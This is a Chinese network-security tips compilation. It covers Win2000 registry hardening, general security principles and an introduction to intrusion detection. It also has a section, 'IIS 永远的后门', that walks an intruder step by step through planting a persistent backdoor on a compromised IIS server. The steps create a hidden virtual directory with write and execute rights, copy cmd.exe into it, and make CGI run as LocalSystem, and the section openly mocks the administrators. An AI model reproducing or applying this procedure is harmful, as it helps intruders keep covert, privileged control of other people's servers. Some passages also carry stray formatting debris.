网络安全

安全技巧（二十）

小未 主编

目　录

修改注册表加强 Win2000 安全

1、设置生存时间

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters

DefaultTTLREG_DWORD0-0xff(0-255 十进制，默认值 128)

说明：指定传出 IP 数据包中设置的默认生存时间(TTL)值。TTL 决定了 IP 数据包在到达目标前在网络中生存的最大时间。它实际上限定了 IP 数据包在丢弃前允许通过的路由器数量.有时利用此数值来探测远程主机操作系统。

2、防止 ICMP 重定向报文的攻击

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters

EnableICMPRedirectsREG_DWORD0x0(默认值为 0x1)

说明：该参数控制 Windows2000 是否会改变其路由表以响应网络设备(如路由器)发送给它的 ICMP 重定向消息，有时会被利用来干坏事。Win2000 中默认值为 1，表示响应 ICMP 重定向报文。

3、禁止响应 ICMP 路由通告报文

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\interface

PerformRouterDiscoveryREG_DWORD0x0(默认值

为 0x2)

说明：“ ICMP **路由公告”功能可造成他人计算机的网络连接异常，数据被窃听，计算机被用于流量攻击等严重后果.此问题曾导致校园网某些局域网大面积，长时间的网络异常。因此建议关闭响应** ICMP **路由通告报文**. Win2000 **中默认值为** 2**，表示当** DHCP **发送路由器发现选项时启用。**

4**、防止** SYN **洪水攻击**

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters

SynAttackProtectREG_DWORD0x2(**默认值为** 0x0)

说明：SYN **攻击保护包括减少** SYN-ACK **重新传输次数，以减少分配资源所保留的时间。路由缓存项资源分配延迟，直到建立连接为止.如果** synattackprotect=2**，则** AFD **的连接指示一直延迟到三路握手完成为止.注意，仅在** TcpMaxHalfOpen **和** TcpMaxHalfOpenRetried **设置超出范围时，保护机制才会采取措施。**

5**、禁止** C$、D$**一类的缺省共享**

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters

AutoShareServer、REG_DWORD、0x0

6**、禁止** ADMIN$**缺省共享**

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters

AutoShareWks、REG_DWORD、0x0

7**、限制** IPC$**缺省共享**

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa

restrictanonymousREG_DWORD0x0 缺省

0x1 匿名用户无法列举本机用户列表

0x2 匿名用户无法连接本机 IPC$共享

说明：不建议使用 2，否则可能会造成你的一些服务无法启动，如 SQLServer

8、不支持 IGMP 协议

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters

IGMPLevelREG_DWORD0x0(默认值为 0x2)

说明：记得 Win9x 下有个 bug，就是用可以用 IGMP 使别人蓝屏，修改注册表可以修正这个 bug.Win2000 虽然没这个 bug 了，但 IGMP 并不是必要的，因此照样可以去掉。改成 0 后用 routeprint 将看不到那个讨厌的 224.0.0.0 项了。

9、设置 arp 缓存老化时间设置

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services：\Tcpip\Parameters

ArpCacheLifeREG_DWORD0-0xFFFFFFFF(秒数，默认值为 120 秒)

ArpCacheMinReferencedLifeREG_DWORD0-0xFFFFFFFF(秒数，默认值为 600)

说明：如果 ArpCacheLife 大于或等于 ArpCacheMinReferencedLife，则引用或未引用的 ARP 缓存项在 ArpCacheLife 秒后到期。如果 ArpCacheLife 小于 ArpCacheMinReferencedLife，未引用项在 ArpCacheLife 秒后到期，而引用项在 ArpCacheMinReferencedLife 秒后到期。每次将出站数据包发送到项的 IP 地址时，就会引用 ARP 缓存中的项。

10、禁止死网关监测技术

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services：\Tcpip\Parameters

EnableDeadGWDetectREG_DWORD0x0(默认值为 ox1)

说明：如果你设置了多个网关，那么你的机器在处理多个连接有困难时，就会自动改用备份网关。有时候这并不是一项好主意，建议禁止死网关监测。

11、不支持路由功能

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services：\Tcpip\Parameters

IPEnableRouterREG_DWORD0x0(默认值为 0x0)

说明：把值设置为 0x1 可以使 Win2000 具备路由功能，由此带来不必要的问题。

12、做 NAT 时放大转换的对外端口最大值

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services：\Tcpip\Parameters

MaxUserPortREG_DWORD5000-65534(十进制)(默认值 0x1388--十进制为 5000)

说明 :当应用程序从系统请求可用的用户端口数时，该参数控制所使用的最大端口数。正常情况下，短期端口的分配数量为 1024-5000。将该参数设置到有效范围以外时，就会使用最接近的有效数值(5000 或 65534)。使用 NAT 时建议把值放大点。

13、修改 MAC 地址

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\

找到右窗口的说明为"网卡"的目录，

比如说是{4D36E972-E325-11CE-BFC1-08002BE10318}

展开之，在其下的 0000，0001，0002...的分支中找到"DriverDesc"的键值为你网卡的说明，比如说"DriverDesc"的值为"Intel(R)82559FastEthernetLANonMotherboard"然后在右窗口新建一字符串值，名字为"Networkaddress"，内容为你想要的 MAC 值，比如说是"004040404040"然后重起计算机，ipconfig/all 看看。

IIS 永远的后门

IIS 是比较流行的 www 服务器，设置不当漏洞就很多。入侵 iis 服务器后留下后门，以后就可以随时控制。一般的后门程序都是打开一个特殊的端口来监听，比如有 nc,ntlm,rnc 等等都是以一种类 telnet 的方式在服务器端监听远程的连接控制。不过一个比较防范严密的 www 站点（他们的管理员吃了苦头后）一般通过防火墙对端口进行限制，这样除了管理员开的端口外，其他端口就不能连接了。但是 80 端口是不可能关闭的（如果管理员没有吃错药）。那么我们可以通过在 80 端口留后门，来开启永远的后门。

当 IIS 启动 CGI 应用程序时，缺省用 CreateProcessAsUserAPI 来创建该 CGI 的新 Process,该程序的安全上下文就由启动该 CGI 的用户决定。一般匿名用户都映射到 IUSR_computername 这个账号，当然可以由管理员改为其他的用户。或者由浏览器提供一个合法的用户。两者的用户的权限都是比较低，可能都属于 guest 组的成

员。其实我们可以修改 iis 开启 CGI 的方式，来提高权限。我们来看 iis 主进程本身是运行在 localsystem 账号下的，所以我们就可以得到最高 localsystem 的权限。

入侵 web 服务器后，一般都可以绑定一个 cmd 到一个端口来远程控制该服务器。这时可以有 GUI 的远程控制，比如 3389，或者类 telnettext 方式的控制，比如 rnc。nc 肯定是可以用的,其实这也足够了。

1.telnet 到服务器

2.cscript.exeadsutil.vbsenumw3svc/1/root

KeyType:(STRING)"IIsWebVirtualDir"

AppRoot:(STRING)"/LM/W3SVC/1/ROOT"

AppFriendlyName:(STRING)"默认应用程序"

AppIsolated:(INTEGER)2

AccessRead:(BOOLEAN)True

AccessWrite:(BOOLEAN)False

AccessExecute:(BOOLEAN)False

AccessScript:(BOOLEAN)True

AccessSource:(BOOLEAN)False

AccessNoRemoteRead:(BOOLEAN)False

AccessNoRemoteWrite:(BOOLEAN)False

AccessNoRemoteExecute:(BOOLEAN)False

AccessNoRemoteScript:(BOOLEAN)False

HttpErrors:(LIST)(32Items)

"400,*,FILE,C:\WINNT\help\iisHelp\common\400.htm"

"401,1,FILE,C:\WINNT\help\iisHelp\common\401-1.htm"

"401,2,FILE,C:\WINNT\help\iisHelp\common\401-2.

htm"

"401,3,FILE,C:\WINNT\help\iisHelp\common\401-3.htm"

"401,4,FILE,C:\WINNT\help\iisHelp\common\401-4.htm"

"401,5,FILE,C:\WINNT\help\iisHelp\common\401-5.htm"

"403,1,FILE,C:\WINNT\help\iisHelp\common\403-1.htm"

"403,2,FILE,C:\WINNT\help\iisHelp\common\403-2.htm"

"403,3,FILE,C:\WINNT\help\iisHelp\common\403-3.htm"

"403,4,FILE,C:\WINNT\help\iisHelp\common\403-4.htm"

"403,5,FILE,C:\WINNT\help\iisHelp\common\403-5.htm"

"403,6,FILE,C:\WINNT\help\iisHelp\common\403-6.htm"

"403,7,FILE,C:\WINNT\help\iisHelp\common\403-7.htm"

"403,8,FILE,C:\WINNT\help\iisHelp\common\403-8.htm"

"403,9,FILE,C:\WINNT\help\iisHelp\common\403-9.htm"

"403,10,FILE,C:\WINNT\help\iisHelp\common\403-10.htm"

"403,11,FILE,C:\WINNT\help\iisHelp\common\403-1

1.htm"

"403,12,FILE,C:\WINNT\help\iisHelp\common\403-12.htm"

"403,13,FILE,C:\WINNT\help\iisHelp\common\403-13.htm"

"403,15,FILE,C:\WINNT\help\iisHelp\common\403-15.htm"

"403,16,FILE,C:\WINNT\help\iisHelp\common\403-16.htm"

"403,17,FILE,C:\WINNT\help\iisHelp\common\403-17.htm"

"404,*,FILE,C:\WINNT\help\iisHelp\common\404b.htm"

"405,*,FILE,C:\WINNT\help\iisHelp\common\405.htm"

"406,*,FILE,C:\WINNT\help\iisHelp\common\406.htm"

"407,*,FILE,C:\WINNT\help\iisHelp\common\407.htm"

"412,*,FILE,C:\WINNT\help\iisHelp\common\412.htm"

"414,*,FILE,C:\WINNT\help\iisHelp\common\414.htm"

"500,12,FILE,C:\WINNT\help\iisHelp\common\500-12.htm"

"500,13,FILE,C:\WINNT\help\iisHelp\common\500-13.htm"

"500,15,FILE,C:\WINNT\help\iisHelp\common\500-1

5.htm"

"500,100,URL,/iisHelp/common/500-100.asp"

FrontPageWeb:(BOOLEAN)True

Path:(STRING)"c:\inetpub\wwwroot"

AccessFlags:(INTEGER)513

[/w3svc/1/root/localstart.asp]

[/w3svc/1/root/_vti_pvt]

[/w3svc/1/root/_vti_log]

[/w3svc/1/root/_private]

[/w3svc/1/root/_vti_txt]

[/w3svc/1/root/_vti_script]

[/w3svc/1/root/_vti_cnf]

[/w3svc/1/root/_vti_bin]

不要告诉我你不知道上面的输出是什么！！！！

现在我们心里已经有底了，是不是！呵呵管理员要倒霉了

3.mkdirc:\inetpub\wwwroot\dir1

4.cscript.exemkwebdir.vbs-cMyComputer-w"Default WebSite"-v"VirtualDir1","c:\inetpub\wwwroot\dir1"

这样就建好了一个虚目录：VirtualDir1

你可以用 1 **的命令看一下**

5.**接下来要改变一下** VirtualDir1 **的属性为** execute

cscript.exeadsutil.vbssetw3svc/1/root/VirtualDir1/accesswrite"true"-s:

cscript.exeadsutil.vbssetw3svc/1/root/VirtualDir1/accessexecute"true"-s:

现在你已经可以 upload **内容到该目录，并且可以运行。你也可以把** cmd.exenet.exe **直接拷贝到虚拟目录的**

磁盘目录中。

6.以下命令通过修改 iismetabase 来迫使 iis 以本身的安全环境来创建新的 CGIprocess

Cscriptadsutil.vbsset/w3svc/1/root/[yourdirectory]/createprocessasuserfalse

注释：cscriptwindowsscripthost.

adsutil.vbswindowsiisadministrationscript

后面是 iismetabasepath

这样的后门几乎是无法查出来的，除非把所有的虚目录察看一遍（如果管理员写好了遗书，那他就去查吧）

网络安全的五大原则

要了解什么是网络安全，先必须清楚什么是「安全」。一般对信息系统安全的认知与评判方式，包含五项原则：私密性、完整性、身份鉴别、授权、不可否认性。这五项原则虽各自独立，在实际维护系统安全时，却又环环相扣缺一不可。

私密

当信息可被信息来源人士、收受人之外的第三者，以恶意或非恶意的方式得知时，就丧失了私密性。某些形式的信息特别强调隐私性，诸如个人身份资料、信用交易记录、医疗保险记录、公司研发资料及产品规格等等。

完整

当信息被非预期方式更动时，就丧失了完整性。如飞航交通、金融交易等应用场合，资料遭受变动后，可

能会造成重大的生命财产损失，因此须特别重视资料的完整性。

身份鉴别

身份鉴别确保使用者能够提出与宣称身份相符的证明。对于信息系统，这项证明可能是电子型式(如使用者帐号密码、IC 卡等)，或其它独一无二的方式(如指纹、虹膜、声纹等生物辨识)。

授权

系统必须能够判定用户是否具备足够的权限，进行特定的活动，如开启档案、执行程序等等。因为系统授权给特定用户后，用户才具备权限运行于系统之上，因此用户事先必须经由系统「身份鉴别」，才能取得对应的权限。

不可否认

用户在系统进行某项运作后，若事后能提出证明，而无法加以否认，便具备不可否认性。因为在系统运作时必须拥有权限，不可否认性通常架构在「授权」机制之上。

网络安全面临的新议题 – 有效性

除了以上描述的五点安全原则，「网络安全」因为独特的领域特性，也面临提供服务的有效性问题。某些网络服务因服务性质的因素，必须公开提供给非特定人士使用(如网页、邮件服务)，但各项服务因为设计或硬件能力上的限制，势必都存在服务能力的上限，当该项服务被有心人士攻击，而使得经过身份鉴别及授权的正常用户无法取得服务时，便丧失了有效性。

安全等级概念

安全并不是非黑即白的绝对值，实际上存在许多的

灰色地带。对某个应用环境而言，相关的安全机制足敷所需，但把同样的机制转移至其它的应用环境时，却可能无法满足应用需求。

针对特定场合、特殊需求，在实际运作时，选用的安全机制可能会因为方便性、效率、经费、法令限制等原因而有所取舍。一般用户与服务提供端之间，对于如何决定应用系统安全等级，则必须仰赖契约或法令的规范，提供相当程度的安全机制。

安全机制必须公开并可被验证

同意在某项应用环境下，实施某项安全机制的先决条件，在于充份了解该安全机制如何运作、缺点、必须承担的风险与对应赔偿责任。简述这个原则，就是「你无法保证你不清楚的事」。因此安全机制必须是公开的，或至少使用该安全机制的应用系统及用户，能够验证该机制合乎要求。

一般人常有「使用专有格式就是安全」的错误认识，事实上专有(私有)格式、专有算法等，通常无法由安全专家加以验证，可能存在许多后门与漏洞，反而十分不安全。

入侵检测系统：理论和实践

自从计算机以网络方式被连接开始，网络安全就成为一个重大问题，随着 INTERNET 的发展，安全系统的要求也与日俱增，其要求之一就是入侵检测系统。

本文旨在介绍几种常见的入侵检测系统及其理论和实践，需要指出的是，本文仅仅是一篇介绍性的文章,

即使我推荐了许多可能的系统，在你相信其可靠性前，最好还是深入的研究一下他们。(NND,烦死我了,要敲 4 个字，以后我就简称 ID 得了。入侵检测系统就是 IDS：-))

一、什么是入侵检测。

入侵检测是指监视或者在可能的情况下，阻止入侵或者试图控制你的系统或者网络资源的那种努力。

简而言之，它的工作方式是这样的：你有台机器，被连接到网络上，也许就是被连到了 INTERNET 上，出于可以理解的原因,你也愿意为被授权者设置从网络上访问你的系统的许可。比如，你有以台连接到 INTERNET 上的 WEB 服务器，愿意让客户、职员和潜在客户可以访问存储在 WEB 服务器上的页面。

然而，你并不愿意那些未经授权的职员、顾客或者其他未经授权的第三方访问系统。比如，你不愿意除了公司雇佣的网页设计人员以外的人员可以修改储存在机器上的页面。典型的做法之一就是使用防火墙或者某种认证系统来防止未经授权的访问。

但是，在一些情况下，简单的使用防火墙或者认证系统也可以被攻破。入侵检测就是这样以种技术，它会对未经授权的连接企图作出反应，甚至可以抵御以部分可能的入侵。

二、为什么要使用 ID 呢？

以下给出了使用 ID 的理由：

（1）你需要保护自己的数据安全和系统，而事实是在现在的 INTERNET 环境下，如果你仅仅使用普通的密码和文件保护方式，你不可能永远保证你数据和系统的安全性。

（2）对于保护数据来说，没有什么比系统的安全更重要了，想就这么把你的机器连上 INTETNET 而不作任何防护，甚至连管理员密码都不设，就指望这台机器会太平无事，那简直是近乎于痴心妄想。同样，系统对核心文件或者授权数据库（比如 NT 的 SAM 和 UNIX 的/ETC/PASSWORD 或者/ETC/SHADOW）的保护也是非常重要的。

（3）在通过局域网连接到 INTERNET 的环境下，经常会采用防火墙或者其他保护措施，如果在 NT 环境下，如果开放了文件共享，或者允许 TELNET，这台机器就需要更好的保护，比如在防火墙中对 137－139 端口（属于 TCP/UDP），SMB 协议下的 NT 文件共享加以限制、使用 SSH 取代 UNIX 环境下的 TELNET 连接。

（4）ID 还有进一步的作用，由于被放置在防火墙和被保护的系统之间，ID 等于是在系统之上增加了以层保护。比如，通过 ID 对敏感端口的监测就可以判断防火墙是否已经被攻破，或者防护措施已经被灭了。

三、ID 有哪些种类呢？

ID 可以分为两大类，

（1）基于网络的系统：这种 ID 放置于网络之上，靠近被检测的系统，它们监测网络流量并判断是否正常。

（2）基于主机的系统：这种系统经常运行在被监测的系统之上，用以监测系统上正在运行的进程是否合法。我还想补充最近出现的一种 ID：位于操作系统的内核之中并监测系统的最底层行为。所有这些系统最近已经可以被用于多种平台。

基于网络的 ID

简介

基于网络的 IDS 是指监测整个网络流量的系统，一块网卡就可能会有两种用途：

普通模式：受数据包里面所包含的 MAC 地址决定，数据被发送到目的主机。

任意模式（Promiscuousmode）：所有可以被监测到的信息均被主机接收。

网卡可以在普通模式和任意模式之间进行切换，同样，使用操作系统的低级功能就可以完成这种变换。基于网络的 IDS 一般是需要把网卡设置成后以种模式。

包嗅探和网络监测

包嗅探和网络监测最初是为了监测以太网的流量而设计的，最初的代表性产品就是 NOVEL 的 LANALYSER 和 MS 的 NETWORKMONITOR。

这些产品一般会拦截它们在网络上可疑拦截的一切数据包，当一个数据包被拦截后，可能会有以下几种情况：

对包进行累加，在截取的时间段内对数据包进行累加，用以确定该时间段内网络的负载，LANALYSER 和 MS 的 NM 都在网络负载的表示界面方面有很好的表现。

对数据包进行分析：比如，当你想对抵达一个 WEB 服务器的数据进行分析时，你往往会先捕获一些数据，然后进行分析。

包嗅探工具在近年有了长足的发展，象 ETHEREAL 和新版的 MSNM 都可以对数据包进行详尽的分析。

最后罗嗦以句：工具本身无善恶，全在人心，通过对连接到 UNIX 的 TELNET 连接进行包嗅探，就可能可以截取用户的密码，任何一个入侵者一旦得手，首先的事情就是会安装包嗅探器。